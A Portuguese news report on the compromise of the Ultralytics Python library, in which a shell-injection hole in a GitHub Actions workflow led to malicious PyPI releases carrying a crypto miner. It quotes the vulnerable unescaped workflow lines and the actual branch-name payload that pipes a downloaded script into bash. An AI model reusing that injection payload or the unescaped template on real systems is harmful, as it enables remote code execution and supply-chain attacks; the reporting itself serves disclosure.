Um erro no processador do GitHub Actions levou à publicação de releases maliciosos do Ultralytics

Os invasores conseguiram executar código com os direitos do manipulador do GitHub Actions no repositório da biblioteca Python Ultralytics, utilizada para resolver problemas de visão computacional, como a detecção de objetos em imagens e a segmentação de imagens. Após obter acesso ao repositório, os atacantes publicaram no diretório PyPI várias novas versões do Ultralytics, incluindo alterações maliciosas para mineração de criptomoedas. No último mês, a biblioteca Ultralytics foi baixada do diretório PyPI mais de 6,4 milhões de vezes.

Para comprometer o repositório, foi explorada uma vulnerabilidade no pacote ultralytics-actions, utilizado para acionar automaticamente manipuladores ao realizar determinadas ações com o repositório no GitHub, usando o mecanismo GitHub Actions. No projeto ultralytics, o manipulador vulnerável estava vinculado ao evento pull_request_target e era acionado quando novos pull requests eram recebidos. Em particular, para formatar o código nos pull requests enviados, o manipulador format.yml era chamado e executava o código especificado na seção "run" do arquivo action.yml, que continha comandos shell com templates de substituição: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name "${{ inputs.github_username }}" git config —global user.email "${{ inputs.github_email }}"

Assim, o nome da branch Git mencionado no pull request era inserido nos comandos shell sem o devido escape. É notável que, em agosto, uma vulnerabilidade semelhante relacionada ao uso de um valor externo na função echo já havia sido corrigida no pacote ultralytics-actions: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"

Para executar seu código no contexto do manipulador GitHub Actions, os atacantes enviaram um pull request ao repositório ultralytics, especificando como nome da branch: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)

Consequentemente, ao receber o pull request, a string criada pelos atacantes "$(…)" foi inserida no código, que, ao ser executado pelo manipulador, resultou na execução do código "curl -sSfL raw.githubusercontent.com/…/file.sh | bash".

Um erro no processador do GitHub Actions levou à publicação de releases maliciosos do Ultralytics

A execução de código no contexto das GitHub Actions pode ser usada para capturar o token de acesso ao repositório e outros dados confidenciais. Não está claro exatamente como os atacantes conseguiram gerar uma versão, obtendo a capacidade de executar seu próprio código nas GitHub Actions; supõe-se que isso foi possível devido à modificação do manipulador publish.yml (os atacantes removeram a verificação da conta autorizada a publicar versões no PyPI) e ao uso de técnicas de envenenamento do cache de construção das GitHub Actions para inserir seus próprios dados na versão.

A primeira versão maliciosa Ultralytics 8.3.41 foi publicada por criminosos no repositório PyPI no dia 4 de dezembro às 23:51 (MSK) e removida no dia seguinte às 12:15. Às 15:47, outra versão 8.3.42 foi lançada, que foi removida às 16:47. Assim, as versões maliciosas estiveram disponíveis para download por cerca de 13 horas (em um dia, o PyPI registra aproximadamente 250 mil downloads da biblioteca ultralytics). As versões 8.3.41 e 8.3.42 continham código que realizava o download de componente externo servidor XMRig para mineração de criptomoedas.

Os desenvolvedores do projeto resolveram o problema e geraram versões corretivas 8.3.43 e 8.3.44, mas após dois dias, ocorreu outro ataque, durante o qual os criminosos publicaram hoje às 04:41 e 05:27 (MSK) duas versões maliciosas adicionais — 8.3.45 e 8.3.46, que incluem outro código para mineração. Até que a investigação seja concluída, recomenda-se que os usuários evitem instalar novas versões e fixem a versão 8.3.44 nas dependências.

Fonte: opennet.ru

Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS 🔥 Compre hospedagem confiável para sites com proteção contra DDoS, servidores VPS VDS | ProHoster